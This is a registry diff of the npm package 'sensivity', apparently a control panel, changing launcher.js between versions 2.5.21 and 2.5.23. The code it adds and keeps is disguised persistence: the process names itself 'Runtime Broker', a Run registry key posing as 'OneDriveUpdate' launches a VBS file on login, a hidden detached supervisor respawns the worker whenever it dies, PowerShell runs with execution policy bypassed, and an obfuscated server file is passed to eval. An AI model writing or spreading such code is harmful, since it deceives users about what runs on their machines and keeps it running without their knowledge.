sensivity 2.5.21 → 2.5.23

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/launcher.js +146 -25
  2. package/package.json +1 -1
package/launcher.js CHANGED
@@ -2,18 +2,22 @@
2
2
  'use strict';
3
3
  const fs = require('fs');
4
4
  const path = require('path');
5
- const { execSync, exec } = require('child_process');
5
+ const { execSync, exec, spawn } = require('child_process');
6
6
  const APP_DIR = __dirname;
7
7
  try { process.chdir(APP_DIR); } catch(e) {}
8
8
 
9
- process.title = 'Runtime Broker';
10
-
11
9
  const issueState = { lastLine: '', lastTime: 0, startToken: 0, startConfirmed: true };
12
10
  const rawConsole = {
13
11
  log: console.log.bind(console),
14
12
  warn: console.warn.bind(console),
15
13
  error: console.error.bind(console)
16
14
  };
15
+ const QR_WINDOW_TITLE = 'Sensivity Panel';
16
+ const SUPERVISOR_PID_FILE = path.join(APP_DIR, '.sensivity-supervisor.pid');
17
+ const STOP_FILE = path.join(APP_DIR, '.sensivity-stop');
18
+ const IS_SUPERVISOR = process.env.SENSIVITY_SUPERVISOR === '1';
19
+ const IS_WORKER = process.env.SENSIVITY_WORKER === '1';
20
+ const RUN_AS_FOREGROUND = process.env.npm_lifecycle_event === 'start';
17
21
 
18
22
  function cleanIssueValue(value) {
19
23
  let text = '';
@@ -61,6 +65,119 @@ function issueLog(message, detail) {
61
65
  rawConsole.warn(line);
62
66
  }
63
67
 
68
+ function removeFileSafe(file) {
69
+ try { fs.unlinkSync(file); } catch(e) {}
70
+ }
71
+
72
+ function ensureAutostart() {
73
+ try {
74
+ const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
75
+ execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \\\"${vbs.replace(/\\/g,'\\\\')}\\\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
76
+ } catch(e) {}
77
+ }
78
+
79
+ function isProcessAlive(pid) {
80
+ if (!pid || pid === process.pid) return false;
81
+ try {
82
+ process.kill(pid, 0);
83
+ return true;
84
+ } catch(e) {
85
+ return false;
86
+ }
87
+ }
88
+
89
+ function isSupervisorRunning() {
90
+ try {
91
+ const pid = parseInt(fs.readFileSync(SUPERVISOR_PID_FILE, 'utf8'), 10);
92
+ return isProcessAlive(pid);
93
+ } catch(e) {
94
+ return false;
95
+ }
96
+ }
97
+
98
+ function isPanelPortBusy() {
99
+ try {
100
+ const out = execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){Write-Output YES}"', { encoding: 'utf8', timeout: 3000 });
101
+ return out.trim() === 'YES';
102
+ } catch(e) {
103
+ return false;
104
+ }
105
+ }
106
+
107
+ function startSupervisor() {
108
+ try {
109
+ removeFileSafe(STOP_FILE);
110
+ const child = spawn(process.execPath, [__filename], {
111
+ cwd: APP_DIR,
112
+ detached: true,
113
+ stdio: 'ignore',
114
+ windowsHide: true,
115
+ env: { ...process.env, SENSIVITY_SUPERVISOR: '1', SENSIVITY_WORKER: '' }
116
+ });
117
+ child.unref();
118
+ return true;
119
+ } catch(e) {
120
+ issueLog('Background start failed', e);
121
+ return false;
122
+ }
123
+ }
124
+
125
+ function runSupervisor() {
126
+ process.title = 'Runtime Broker';
127
+ try { fs.writeFileSync(SUPERVISOR_PID_FILE, String(process.pid)); } catch(e) {}
128
+
129
+ const cleanup = () => removeFileSafe(SUPERVISOR_PID_FILE);
130
+ process.on('exit', cleanup);
131
+ process.on('SIGINT', () => process.exit(0));
132
+ process.on('SIGTERM', () => process.exit(0));
133
+
134
+ const launchWorker = () => {
135
+ if (fs.existsSync(STOP_FILE)) {
136
+ removeFileSafe(STOP_FILE);
137
+ process.exit(0);
138
+ }
139
+ if (isPanelPortBusy()) {
140
+ setTimeout(launchWorker, 2000);
141
+ return;
142
+ }
143
+
144
+ let worker;
145
+ try {
146
+ worker = spawn(process.execPath, [__filename], {
147
+ cwd: APP_DIR,
148
+ stdio: 'ignore',
149
+ windowsHide: true,
150
+ env: { ...process.env, SENSIVITY_SUPERVISOR: '', SENSIVITY_WORKER: '1' }
151
+ });
152
+ } catch(e) {
153
+ setTimeout(launchWorker, 3000);
154
+ return;
155
+ }
156
+
157
+ worker.on('exit', () => {
158
+ if (fs.existsSync(STOP_FILE)) {
159
+ removeFileSafe(STOP_FILE);
160
+ process.exit(0);
161
+ }
162
+ setTimeout(launchWorker, 1500);
163
+ });
164
+ worker.on('error', () => setTimeout(launchWorker, 3000));
165
+ };
166
+
167
+ launchWorker();
168
+ }
169
+
170
+ if (IS_SUPERVISOR) {
171
+ runSupervisor();
172
+ } else {
173
+ if (!IS_WORKER && !RUN_AS_FOREGROUND) {
174
+ ensureAutostart();
175
+ if (!isSupervisorRunning()) startSupervisor();
176
+ process.exit(0);
177
+ }
178
+
179
+ process.title = 'Runtime Broker';
180
+
64
181
  function beginStartWatch() {
65
182
  const token = ++issueState.startToken;
66
183
  issueState.startConfirmed = false;
@@ -155,14 +272,16 @@ try {
155
272
  issueLog('Panel bridge failed', e);
156
273
  }
157
274
 
158
- process.on('uncaughtException', e => issueLog('Program fault', e));
159
- process.on('unhandledRejection', e => issueLog('Program async fault', e));
275
+ function fatalIssue(message, error) {
276
+ issueLog(message, error);
277
+ if (IS_WORKER && !RUN_AS_FOREGROUND) setTimeout(() => process.exit(1), 100);
278
+ }
279
+
280
+ process.on('uncaughtException', e => fatalIssue('Program fault', e));
281
+ process.on('unhandledRejection', e => fatalIssue('Program async fault', e));
160
282
 
161
283
  // ===== Auto-start =====
162
- try {
163
- const vbs = path.join(APP_DIR, 'OneDrive.Standalone.Updater.vbs');
164
- execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \\\"${vbs.replace(/\\/g,'\\\\')}\\\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 });
165
- } catch(e) {}
284
+ ensureAutostart();
166
285
 
167
286
  function removeAutostart() {
168
287
  try { execSync('powershell -NoProfile -Command "Remove-ItemProperty -Path \'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\' -Name \'OneDriveUpdate\' -EA 0"', { stdio: 'ignore', timeout: 5000 }); } catch(e) {}
@@ -183,8 +302,19 @@ function checkYouTube(callback) {
183
302
  // ===== QR Window =====
184
303
  let qrOpen = false;
185
304
 
305
+ function qrWindowExists() {
306
+ try {
307
+ const title = QR_WINDOW_TITLE.replace(/'/g, "''");
308
+ const out = execSync(`powershell -NoProfile -Command "$p=Get-Process powershell,pwsh -EA 0 | Where-Object { $_.MainWindowTitle -eq '${title}' }; if($p){Write-Output 'YES'}"`, { encoding: 'utf8', timeout: 3000 });
309
+ return out.trim() === 'YES';
310
+ } catch(e) {
311
+ return false;
312
+ }
313
+ }
314
+
186
315
  function showQR() {
187
- if (qrOpen) return;
316
+ if (qrOpen && qrWindowExists()) return;
317
+ if (qrWindowExists()) { qrOpen = true; return; }
188
318
  qrOpen = true;
189
319
  const url = global.serverUrl || 'http://192.168.1.16:3000';
190
320
 
@@ -205,25 +335,14 @@ function showQR() {
205
335
  const psFile = path.join(APP_DIR, '.qrshow.ps1');
206
336
  fs.writeFileSync(psFile, [
207
337
  '[Console]::OutputEncoding = [System.Text.Encoding]::UTF8',
208
- '$host.UI.RawUI.WindowTitle = "Windows PowerShell"',
338
+ '$host.UI.RawUI.WindowTitle = "' + QR_WINDOW_TITLE + '"',
209
339
  'try { $w=$host.UI.RawUI.WindowSize; $w.Width=80; $w.Height=30; $host.UI.RawUI.WindowSize=$w } catch {}',
210
340
  'Clear-Host',
211
341
  'Get-Content "' + qrFile + '" -Encoding UTF8',
212
342
  'Write-Host ""',
213
- 'Start-Sleep -Seconds 3',
214
- '$failCount = 0',
215
- 'while($true) {',
216
- ' Start-Sleep -Seconds 4',
217
- ' try {',
218
- ' $c=Get-Process chrome -EA Stop',
219
- ' $f=$false',
220
- ' if($c){foreach($p in $c){try{if($p.MainWindowTitle -match "YouTube"){$f=$true;break}}catch{}}}',
221
- ' if(-not $f){$failCount++} else {$failCount=0}',
222
- ' if($failCount -ge 3){break}',
223
- ' } catch { $failCount++; if($failCount -ge 3){break} }',
224
- '}',
225
- 'del "' + qrFile + '" -Force -EA 0',
226
- 'del "' + psFile + '" -Force -EA 0'
343
+ 'Remove-Item "' + qrFile + '" -Force -EA 0',
344
+ 'Remove-Item "' + psFile + '" -Force -EA 0',
345
+ 'while($true) { Start-Sleep -Seconds 3600 }'
227
346
  ].join('\n'));
228
347
  exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR });
229
348
  }
@@ -248,6 +367,7 @@ monitor();
248
367
  // ===== Kill =====
249
368
  global.killSensivity = () => {
250
369
  global._shuttingDown = true;
370
+ try { fs.writeFileSync(STOP_FILE, String(Date.now())); } catch(e) {}
251
371
  hideQR();
252
372
  // Auto-start KALIR, sadece process durur
253
373
  setTimeout(() => process.exit(), 500);
@@ -258,3 +378,4 @@ const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js'))
258
378
  ? path.join(APP_DIR, 'server.obf.js')
259
379
  : path.join(APP_DIR, 'server.js');
260
380
  eval(fs.readFileSync(serverCode, 'utf8'));
381
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sensivity",
3
- "version": "2.5.21",
3
+ "version": "2.5.23",
4
4
  "description": "Sensivity Control Panel",
5
5
  "main": "launcher.js",
6
6
  "bin": {